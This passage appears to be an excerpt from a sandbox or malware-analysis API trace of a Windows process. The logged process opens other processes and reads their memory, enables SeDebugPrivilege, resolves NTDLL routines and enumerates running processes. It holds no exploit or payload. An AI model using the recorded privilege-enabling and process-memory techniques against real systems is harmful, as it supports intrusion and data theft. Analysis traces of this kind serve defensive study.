ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0252.399] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x287020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0252.399] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x5a12b0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0252.400] malloc (_Size=0x58) returned 0x20abc2aab70 [0252.400] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x5a191a, lpBuffer=0x20abc2aab70, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aab70*, lpNumberOfBytesRead=0x0) returned 1 [0252.400] free (_Block=0x20abc2aab70) [0252.401] CloseHandle (hObject=0x170) returned 1 [0252.402] _ui64tow_s (in: _Value=0xcc0, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3264") returned 0x0 [0252.405] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3264") returned 4 [0252.406] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0252.406] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0252.579] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcc0) returned 0x170 [0252.579] GetLastError () returned 0x0 [0252.581] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0252.581] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x30a6ba5018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0252.581] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0252.581] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1cfba803670, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0252.581] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1cfba8032b4, lpBuffer=0x2dc24fc2d0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0252.583] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0252.584] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0252.584] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x30a6ba5020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0252.584] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1cfba802c20, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0252.585] malloc (_Size=0xda) returned 0x20abc284e70 [0252.585] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1cfba80330a, lpBuffer=0x20abc284e70, nSize=0xd8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0252.586] free (_Block=0x20abc284e70) [0252.586] CloseHandle (hObject=0x170) returned 1 [0252.587] _ui64tow_s (in: _Value=0xcfc, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3324") returned 0x0 [0252.591] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3324") returned 4 [0252.593] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0252.593] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0252.607] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcfc) returned 0x170 [0252.607] GetLastError () returned 0x0 [0252.608] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0252.608] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0xfde7f0a018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0252.609] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0252.609] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2e24fa41e70, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0252.609] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2e24fa41a58, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0252.610] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0252.611] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0252.611] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0xfde7f0a020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0252.611] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2e24fa41440, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0252.611] malloc (_Size=0xf0) returned 0x20abc284e70 [0252.611] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2e24fa41a98, lpBuffer=0x20abc284e70, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0252.613] free (_Block=0x20abc284e70) [0252.783] CloseHandle (hObject=0x170) returned 1 [0252.785] _ui64tow_s (in: _Value=0xd18, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3352") returned 0x0 [0252.790] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3352") returned 4 [0252.791] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0252.791] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0252.804] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd18) returned 0x170 [0252.805] GetLastError () returned 0x0 [0252.806] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0252.806] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x6175995018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0252.806] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0252.806] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1b5f2d71e70, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0252.806] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1b5f2d71a58, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0252.807] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0252.809] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0252.809] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x6175995020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0252.809] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1b5f2d71440, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0252.809] malloc (_Size=0xf0) returned 0x20abc284e70 [0252.809] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1b5f2d71a98, lpBuffer=0x20abc284e70, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0252.810] free (_Block=0x20abc284e70) [0252.811] CloseHandle (hObject=0x170) returned 1 [0252.813] free (_Block=0x20abc286d60) [0252.814] malloc (_Size=0x48) returned 0x20abc27cb20 [0252.814] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc24fd420 | out: lpSystemTimeAsFileTime=0x2dc24fd420*(dwLowDateTime=0x52734cad, dwHighDateTime=0x1d9eb0c)) [0252.814] SetEvent (hEvent=0x248) returned 1 [0253.045] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x4) returned 0x20abc4020f0 [0253.046] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abc4020f0, pulNumLanguages=0x2dc24fde70 | out: pulNumLanguages=0x2dc24fde70) returned 1 [0253.046] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc4020f0) returned 1 [0253.046] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc402300) returned 1 [0257.004] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0257.009] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x2e) returned 0x20abbaf1c90 [0257.009] memcpy (in: _Dst=0x20abbaf1c90, _Src=0x7ffb11abfc30, _Size=0x2e | out: _Dst=0x20abbaf1c90) returned 0x20abbaf1c90 [0257.009] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x3c) returned 0x20abba639a0 [0257.009] memcpy (in: _Dst=0x20abba639a0, _Src=0x20abbaf1c90, _Size=0x2c | out: _Dst=0x20abba639a0) returned 0x20abba639a0 [0257.009] memcpy (in: _Dst=0x20abba639cc, _Src=0x20abba88748, _Size=0x10 | out: _Dst=0x20abba639cc) returned 0x20abba639cc [0257.009] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbaf1c90) returned 1 [0257.009] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x3e) returned 0x20abba634a0 [0257.009] memcpy (in: _Dst=0x20abba634a0, _Src=0x20abba639a0, _Size=0x3a | out: _Dst=0x20abba634a0) returned 0x20abba634a0 [0257.009] memcpy (in: _Dst=0x20abba634da, _Src=0x7ffb11abfc60, _Size=0x4 | out: _Dst=0x20abba634da) returned 0x20abba634da [0257.010] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba639a0) returned 1 [0257.015] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x10) returned 0x20abba939f0 [0257.015] memcpy (in: _Dst=0x20abba939f0, _Src=0x20abba88748, _Size=0x10 | out: _Dst=0x20abba939f0) returned 0x20abba939f0 [0257.016] memcpy (in: _Dst=0x20abbaf6b20, _Src=0x20abbaf6b28, _Size=0x0 | out: _Dst=0x20abbaf6b20) returned 0x20abbaf6b20 [0257.041] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0257.046] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x2e) returned 0x20abbaf20d0 [0257.046] memcpy (in: _Dst=0x20abbaf20d0, _Src=0x7ffb11abfc30, _Size=0x2e | out: _Dst=0x20abbaf20d0) returned 0x20abbaf20d0 [0257.046] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x3c) returned 0x20abba634a0 [0257.046] memcpy (in: _Dst=0x20abba634a0, _Src=0x20abbaf20d0, _Size=0x2c | out: _Dst=0x20abba634a0) returned 0x20abba634a0 [0257.046] memcpy (in: _Dst=0x20abba634cc, _Src=0x20abba88748, _Size=0x10 | out: _Dst=0x20abba634cc) returned 0x20abba634cc [0257.046] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbaf20d0) returned 1 [0257.046] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x3e) returned 0x20abba634f0 [0257.046] memcpy (in: _Dst=0x20abba634f0, _Src=0x20abba634a0, _Size=0x3a | out: _Dst=0x20abba634f0) returned 0x20abba634f0 [0257.046] memcpy (in: _Dst=0x20abba6352a, _Src=0x7ffb11abfc60, _Size=0x4 | out: _Dst=0x20abba6352a) returned 0x20abba6352a [0257.047] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba634a0) returned 1 [0257.053] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x10) returned 0x20abba93a10 [0257.053] memcpy (in: _Dst=0x20abba93a10, _Src=0x20abba88748, _Size=0x10 | out: _Dst=0x20abba93a10) returned 0x20abba93a10 [0257.053] memcpy (in: _Dst=0x20abbaf6b20, _Src=0x20abbaf6b28, _Size=0x0 | out: _Dst=0x20abbaf6b20) returned 0x20abbaf6b20 [0257.078] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0257.083] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x2e) returned 0x20abbaf1690 [0257.083] memcpy (in: _Dst=0x20abbaf1690, _Src=0x7ffb11abfc30, _Size=0x2e | out: _Dst=0x20abbaf1690) returned 0x20abbaf1690 [0257.083] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x3c) returned 0x20abba63130 [0257.083] memcpy (in: _Dst=0x20abba63130, _Src=0x20abbaf1690, _Size=0x2c | out: _Dst=0x20abba63130) returned 0x20abba63130 [0257.083] memcpy (in: _Dst=0x20abba6315c, _Src=0x20abba88748, _Size=0x10 | out: _Dst=0x20abba6315c) returned 0x20abba6315c [0257.084] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbaf1690) returned 1 [0257.084] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x3e) returned 0x20abba634a0 [0257.084] memcpy (in: _Dst=0x20abba634a0, _Src=0x20abba63130, _Size=0x3a | out: _Dst=0x20abba634a0) returned 0x20abba634a0 [0257.084] memcpy (in: _Dst=0x20abba634da, _Src=0x7ffb11abfc60, _Size=0x4 | out: _Dst=0x20abba634da) returned 0x20abba634da [0257.084] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba63130) returned 1 [0257.090] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x10) returned 0x20abba93a10 [0257.090] memcpy (in: _Dst=0x20abba93a10, _Src=0x20abba88748, _Size=0x10 | out: _Dst=0x20abba93a10) returned 0x20abba93a10 [0257.090] memcpy (in: _Dst=0x20abbaf6b20, _Src=0x20abbaf6b28, _Size=0x0 | out: _Dst=0x20abbaf6b20) returned 0x20abbaf6b20 [0261.674] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0265.316] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0277.793] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0290.348] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0294.596] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0296.912] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0299.009] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0301.121] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0301.800] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0301.852] RtlRestoreLastWin32Error () returned 0x2dc20c7000 [0301.852] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc24fddc8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc24fdcc0 | out: pulNumLanguages=0x2dc24fddc8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc24fdcc0) returned 1 [0301.852] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc402180 [0301.852] RtlRestoreLastWin32Error () returned 0x2dc20c7000 [0301.853] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc24fddc8, pwszLanguagesBuffer=0x20abc402180, pcchLanguagesBuffer=0x2dc24fdcc0 | out: pulNumLanguages=0x2dc24fddc8, pwszLanguagesBuffer=0x20abc402180, pcchLanguagesBuffer=0x2dc24fdcc0) returned 1 [0301.853] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc4022f0 [0301.853] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc402180) returned 1 [0301.853] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x14) returned 0x20abba93a10 [0301.853] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba93a10, pulNumLanguages=0x2dc24fddc8 | out: pulNumLanguages=0x2dc24fddc8) returned 1 [0301.854] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba93a10) returned 1 [0301.858] malloc (_Size=0xb0) returned 0x20abc2867b0 [0301.858] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb201b0000 [0301.859] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="RtlInitUnicodeString") returned 0x7ffb201cced0 [0301.859] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="RtlFreeUnicodeString") returned 0x7ffb201cc680 [0301.859] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtSetSystemEnvironmentValue") returned 0x7ffb20257f10 [0301.859] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQuerySystemEnvironmentValue") returned 0x7ffb20257630 [0301.859] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtCreateFile") returned 0x7ffb202557e0 [0301.860] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQuerySystemInformation") returned 0x7ffb20255400 [0301.860] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryDirectoryObject") returned 0x7ffb202572f0 [0301.860] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryObject") returned 0x7ffb20254f40 [0301.861] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtOpenDirectoryObject") returned 0x7ffb20255840 [0301.861] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryInformationProcess") returned 0x7ffb20255060 [0301.861] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryInformationToken") returned 0x7ffb20255160 [0301.861] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtOpenFile") returned 0x7ffb202553a0 [0301.861] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtClose") returned 0x7ffb20254f20 [0301.861] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtFsControlFile") returned 0x7ffb20255460 [0301.862] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryVolumeInformationFile") returned 0x7ffb20255660 [0301.863] malloc (_Size=0x18) returned 0x20abc282080 [0301.863] GetCurrentThread () returned 0xfffffffffffffffe [0301.863] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x2dc24fd3b0 | out: TokenHandle=0x2dc24fd3b0*=0x16c) returned 1 [0301.863] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x2dc24fd3ec | out: lpLuid=0x2dc24fd3ec*(LowPart=0x14, HighPart=0)) returned 1 [0301.866] RtlRestoreLastWin32Error () returned 0x2dc20c7000 [0301.866] AdjustTokenPrivileges (in: TokenHandle=0x16c, DisableAllPrivileges=0, NewState=0x2dc24fd3e8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0301.866] GetLastError () returned 0x0 [0301.866] CloseHandle (hObject=0x16c) returned 1 [0301.866] malloc (_Size=0x8000) returned 0x20abc286d60 [0301.867] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x8000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0xc0000004 [0301.869] free (_Block=0x20abc286d60) [0301.870] malloc (_Size=0x10000) returned 0x20abc286d60 [0301.871] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0xc0000004 [0301.874] free (_Block=0x20abc286d60) [0301.874] malloc (_Size=0x18000) returned 0x20abc286d60 [0301.875] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x18000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0xc0000004 [0301.879] free (_Block=0x20abc286d60) [0301.880] malloc (_Size=0x20000) returned 0x20abc286d60 [0301.880] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0x0 [0301.882] _ui64tow_s (in: _Value=0x0, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="0") returned 0x0 [0301.885] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="0") returned 1 [0301.886] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x201d2958, dwBuildNumber=0x7ffb, dwPlatformId=0x6, szCSDVersion="\n") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0301.886] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0301.901] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0301.901] CloseHandle (hObject=0x0) returned 0 [0301.901] _ui64tow_s (in: _Value=0x4, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4") returned 0x0 [0301.905] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4") returned 1 [0301.906] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0301.906] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0301.919] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0301.919] CloseHandle (hObject=0x0) returned 0 [0301.919] _ui64tow_s (in: _Value=0x138, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="312") returned 0x0 [0301.932] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="312") returned 3 [0301.933] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0301.933] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", 